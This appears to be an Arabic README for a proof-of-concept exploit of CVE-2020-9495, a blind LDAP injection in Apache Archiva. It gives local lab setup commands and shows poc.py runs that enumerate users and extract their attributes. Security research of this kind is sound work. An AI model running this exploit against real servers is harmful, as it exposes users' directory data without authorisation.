
إثبات مفهوم لاستغلال CVE-2020-9495، وهي ثغرة حقن LDAP في Apache Archiva. يقوم بتعداد مستخدمي LDAP وسرقة قيم السمات التعسفية عبر الحقن الأعمى.
CVE-2020-9495 هي ثغرة حقن LDAP متوسطة الخطورة في Apache Archiva قبل الإصدار 2.2.5. تسمح للمهاجم باسترجاع أي قيم لسمات LDAP للمستخدمين الموجودين على خادم LDAP.
من النشرة الأمنية الرسمية لـ Apache Archiva:
من خلال توفير قيم خاصة لنموذج تسجيل الدخول في Archiva، يمكن للمهاجم استرجاع بيانات سمات المستخدم من خادم LDAP المتصل. باستخدام أحرف معينة، من الممكن تعديل مرشح LDAP المستخدم للاستعلام عن المستخدمين على خادم LDAP المتصل. من خلال قياس زمن الاستجابة، يمكن استرجاع بيانات سمات اعتباطية من كائنات مستخدم LDAP.
يوضح السكربت poc.py كيف يمكن لمهاجم غير مصرح له تعداد المستخدمين على خادم LDAP المدمج مع Archiva وجلب قيمة أي سمة لأي مستخدم.
تخطَّ هذه الخطوة إذا كان لديك بالفعل خادم Archiva مع تفعيل مصادقة LDAP.
نزّل Archiva 2.2.4 وفك ضغطه
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
شغّل خادم OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
استورد المستخدمين من users.ldif إلى LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
شغّل خادم Archiva
$ bin/archiva console
فعّل مصادقة LDAP وهيئها عبر واجهة الويب
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last